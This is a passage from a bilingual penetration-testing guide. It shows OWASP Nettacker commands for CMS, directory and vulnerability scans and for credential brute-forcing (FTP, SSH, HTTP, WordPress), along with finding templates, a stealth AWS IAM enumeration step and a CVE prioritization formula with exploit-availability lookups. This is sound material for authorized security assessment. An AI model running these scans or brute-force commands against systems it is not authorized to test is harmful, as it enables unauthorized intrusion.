docker run --rm owasp/nettacker -i target.com -m wordpress_version_scan,wp_plugin_scan,wp_xmlrpc_bruteforce_vuln,wp_xmlrpc_pingback_vuln,wordpress_dos_cve_2018_6389_vuln

# Joomla
docker run --rm owasp/nettacker -i target.com -m joomla_version_scan,joomla_user_enum_scan,joomla_template_scan,joomla_cve_2023_23752_vuln

# Drupal
docker run --rm owasp/nettacker -i target.com -m drupal_version_scan,drupal_modules_scan,drupal_theme_scan
```

#### Admin Panel & Directory Discovery
```bash
# Admin panel discovery
docker run --rm owasp/nettacker -i target.com -m admin_scan

# Directory brute-forcing
docker run --rm owasp/nettacker -i target.com -m dir_scan

# PHPMyAdmin detection
docker run --rm owasp/nettacker -i target.com -m pma_scan

# Combined web reconnaissance
docker run --rm owasp/nettacker -i target.com -m admin_scan,dir_scan,pma_scan,waf_scan,web_technologies_scan
```

#### Brute-Force Testing (Default Credentials)
```bash
# FTP brute-force
docker run --rm owasp/nettacker -i target.com -m ftp_brute -u admin,root -p admin,123456,password

# SSH brute-force
docker run --rm owasp/nettacker -i target.com -m ssh_brute -U users.txt -P passwords.txt

# HTTP Basic Auth
docker run --rm owasp/nettacker -i target.com -m http_basic_auth_brute

# HTTP Form brute-force
docker run --rm owasp/nettacker -i target.com -m http_form_brute

# WordPress XMLRPC
docker run --rm owasp/nettacker -i target.com -m wp_xmlrpc_brute

# All brute modules
docker run --rm owasp/nettacker -i target.com -m *_brute -U users.txt -P passwords.txt
```

### Comprehensive Vulnerability Scan

```bash
# All vulnerability modules
docker run --rm -v $(pwd):/output owasp/nettacker \
  -i target.com \
  -m *_vuln \
  -o /output/vuln_scan.html \
  --graph d3_tree_v2_graph \
  -v 2

# Critical + High severity only (faster)
docker run --rm owasp/nettacker \
  -i target.com \
  -m f5_cve_2020_5902_vuln,citrix_cve_2019_19781_vuln,vbulletin_cve_2019_16759_vuln,msexchange_cve_2021_26855_vuln,apache_struts_vuln,xdebug_rce_vuln,log4j_cve_2021_44228_vuln

# Web application security audit
docker run --rm -v $(pwd):/output owasp/nettacker \
  -i target.com \
  -m clickjacking_vuln,content_security_policy_vuln,content_type_options_vuln,xss_protection_vuln,server_version_vuln,x_powered_by_vuln,http_cors_vuln,http_cookie_vuln,strict_transport_security_vuln,ssl_*_vuln \
  -o /output/web_audit.html

# Full assessment (recon + vuln + brute)
docker run --rm -v $(pwd):/output owasp/nettacker \
  -i target.com \
  -m port_scan,admin_scan,dir_scan,waf_scan,web_technologies_scan,*_vuln,*_brute \
  -o /output/full_assessment.html \
  -t 50 -M 10
```

### Template de Finding - Nettacker CVE Detection

```
FINDING: CVE-DETECTION-NETTACKER-[CVE-ID]
CATEGORY: VULNERABILITY
SEVERITY: [CRITICAL/HIGH/MEDIUM/LOW]
CVSS SCORE: [X.X]
PTES: 3.1.2 - Automated Tools

AFFECTED RESOURCE:
- Target: [target.com/IP]
- Port: [port number]
- Service: [service name/version]

DESCRIPTION:
OWASP Nettacker [module_name] detected [CVE/vulnerability]
affecting [service/application]. This vulnerability allows
[impact description].

EVIDENCE:
docker run --rm owasp/nettacker -i [target] -m [module]
[Nettacker output showing detection]

VALIDATION:
# Manual verification command
curl -s [verification request]

# Or Nettacker API
curl -k "https://localhost:5000/logs/get_json?target=[target]&key=[API_KEY]"

IMPACT:
- [Describe potential impact if exploited]
- [Data that could be compromised]
- [Systems that could be affected]

REMEDIATION:
1. [Specific patch/version to upgrade to]
2. [Configuration changes required]
3. [Workaround if patch unavailable]

REFERENCES:
- CVE-XXXX-XXXXX: [NVD link]
- Vendor Advisory: [vendor link]
- OWASP Nettacker Module: [module name]

PTES REFERENCE: Section 3.1.2 (Automated Tools)
```

### Template de Finding - HTTP Security Headers

```
FINDING: HTTP-HEADER-MISSING-[HEADER-NAME]
CATEGORY: MISCONFIGURATION
SEVERITY: LOW/MEDIUM
PTES: 3.1 - Vulnerability Testing

AFFECTED RESOURCE:
- URL: https://[target]/
- Server: [server software if detected]

DESCRIPTION:
The web server is missing the [Header-Name] HTTP response
header, which [purpose of header].

EVIDENCE:
# Nettacker detection
docker run --rm owasp/nettacker -i target.com -m [module_name]

# Manual verification
curl -sI https://target.com | grep -i "[header-name]"
# (no output = header missing)

CURRENT HEADERS:
[List headers that ARE present]

IMPACT:
[Explain security impact of missing header]
- Example: Missing X-Frame-Options allows clickjacking attacks

REMEDIATION:
# Apache
Header always set [Header-Name] "[value]"

# Nginx
add_header [Header-Name] "[value]" always;

# IIS
<system.webServer>
  <httpProtocol>
    <customHeaders>
      <add name="[Header-Name]" value="[value]" />
    </customHeaders>
  </httpProtocol>
</system.webServer>

REFERENCES:
- OWASP: [relevant OWASP page]
- MDN: [MDN documentation link]

PTES REFERENCE: Section 3.1 (Vulnerability Testing)
```

### Template de Finding - SSL/TLS Issues

```
FINDING: SSL-TLS-ISSUE-[TYPE]
CATEGORY: CRYPTOGRAPHIC_WEAKNESS
SEVERITY: [MEDIUM/HIGH]
PTES: 3.1 - Vulnerability Testing

AFFECTED RESOURCE:
- Host: [target.com]
- Port: 443/tcp
- Service: HTTPS

DESCRIPTION:
Nettacker SSL scanning detected [issue type]:
[Description of the SSL/TLS vulnerability]

EVIDENCE:
docker run --rm owasp/nettacker -i target.com -m [ssl_module]

# Manual verification
echo | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -noout -dates

DETAILED FINDINGS:
- Certificate Valid From: [date]
- Certificate Valid Until: [date]
- Issuer: [CA name]
- Subject: [CN]
- Signature Algorithm: [algorithm]
- Cipher Suites: [list weak ciphers if any]

IMPACT:
[Describe cryptographic impact]

REMEDIATION:
1. Obtain new SSL certificate from trusted CA
2. Disable weak cipher suites
3. Disable SSLv2/SSLv3/TLS 1.0/1.1
4. Enable TLS 1.2/1.3 only
5. Implement HSTS

REFERENCES:
- SSL Labs: https://www.ssllabs.com/ssltest/
- OWASP TLS: https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Security_Cheat_Sheet.html

PTES REFERENCE: Section 3.1 (Vulnerability Testing)
```

### Nettacker + WorstAssume Combined Workflow

```bash
# Phase 1: Nettacker for external vulnerability scanning
docker run --rm -v $(pwd):/output owasp/nettacker \
  -i external-target.com \
  -m port_scan,*_vuln,waf_scan \
  -o /output/nettacker_external.html

# Phase 2: WorstAssume for AWS IAM assessment
worst enumerate --profile <profile> --stealth
worst assess --min-severity HIGH --output json > worst_findings.json

# Phase 3: Consolidate findings
# Nettacker: External CVEs and misconfigurations
# WorstAssume: IAM privilege escalation paths
# Combined: Complete attack surface view

jq -s '.[0].nettacker_vulns + .[1].worst_findings' \
  nettacker_external.json worst_findings.json > consolidated_findings.json
```

### Nettacker API for Automated Scanning

```bash
# Get API key
API_KEY=$(docker logs nettacker 2>&1 | grep "API Key" | awk '{print $4}')

# Submit vulnerability scan
curl -k -X POST "https://localhost:5000/new/scan" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "key=${API_KEY}&targets=target.com&selected_modules=*_vuln&report_path_filename=/tmp/vuln.html"

# Check scan status
curl -k "https://localhost:5000/results/get_list?page=1" \
  -H "Cookie: key=${API_KEY}" | jq '.[].scan_method'

# Get vulnerabilities in JSON
curl -k "https://localhost:5000/logs/get_json?target=target.com&key=${API_KEY}" \
  | jq '.[] | select(.TYPE | contains("vuln"))'

# Export for SIEM (SARIF format)
curl -k "https://localhost:5000/logs/get_json?target=target.com&key=${API_KEY}" \
  | python3 convert_to_sarif.py > findings.sarif
```

### Nettacker Scan Comparison (Drift Detection)

```bash
# Initial baseline scan
docker run --rm -v $(pwd):/data owasp/nettacker \
  -i target.com -m port_scan,*_vuln \
  -o /data/baseline.html

# Later scan for comparison
docker run --rm -v $(pwd):/data owasp/nettacker \
  -i target.com -m port_scan,*_vuln \
  -o /data/current.html

# Compare results (manual or scripted)
# Look for:
# - New open ports
# - New vulnerabilities
# - Changed service versions
# - Expired certificates

# Nettacker has built-in compare feature via CLI
python nettacker.py -i target.com -m all -K [baseline_scan_id] -J compare_report.html
```

---

## 8. Vulnerability Prioritization Framework (CVE × EPSS × KEV × PoC)

### Risk Score Composto (0-100)

```python
# Fórmula de priorização do Claude-OSINT
def calculate_risk_score(cve_id):
    cvss_score = get_cvss(cve_id) * 10          # 0-100
    epss_score = get_epss(cve_id) * 100          # 0-100
    kev_multiplier = 1.5 if is_in_kev(cve_id) else 1.0
    poc_multiplier = 1.3 if has_poc(cve_id) else 1.0
    
    # Peso: EPSS (40%), CVSS (30%), KEV (20%), PoC (10%)
    risk = (epss_score * 0.40) + (cvss_score * 0.30)
    risk *= kev_multiplier if kev_multiplier > 1 else 1.0
    risk *= poc_multiplier if poc_multiplier > 1 else 1.0
    
    return min(100, risk)
```

### Prioritização por Risk Score

```
CRITICAL (90-100):
- CVE no CISA KEV + EPSS > 0.80 + PoC weaponized
- Exemplo: CVE-2021-44228 (Log4Shell), CVE-2026-41940 (cPanel)

HIGH (70-89):
- CVE no KEV ou EPSS > 0.50 + PoC available
- Exemplo: CVE-2023-42326 (pfSense Command Injection)

MEDIUM (40-69):
- EPSS > 0.20 ou CVSS > 7.0
- Vulnerabilidades com exploit teórico

LOW (0-39):
- EPSS < 0.20, sem KEV, sem PoC
- Vulnerabilidades de baixa probabilidade de exploração
```

### EPSS Score Lookup

```bash
# Single CVE
curl -s "https://api.first.org/data/v1/epss?cve=CVE-2026-41940" | jq '.data[0].epss'

# Batch lookup
curl -s "https://api.first.org/data/v1/epss?cve=CVE-2021-44228,CVE-2023-42326,CVE-2026-41940" | \
  jq '.data[] | "\(.cve): \(.epss)"'

# Threshold: EPSS > 0.45 = prioridade alta (top 5%)
```

### CISA KEV Catalog Check

```bash
# Check if CVE is in KEV (actively exploited)
curl -s "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json" | \
  jq '.vulnerabilities[] | select(.cveVulnID == "CVE-2026-41940")'

# KEV categories:
# - Ransomware: Vulnerabilities exploited for ransomware
# - Zero-day: Vulnerabilities exploited before patch
# - Heavily Exploited: Widespread exploitation
```

### PoC Availability Check

```bash
# GitHub search for PoC
curl -s "https://api.github.com/search/code?q=CVE-2026-41940+exploit" | \
  jq '.total_count'

# Exploit-DB search
curl -s "https://www.exploit-db.com/api/v1/search?q=CVE-2026-41940" | \
  jq '.total'

# Nuclei template check
curl -s "https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/

…(truncated)
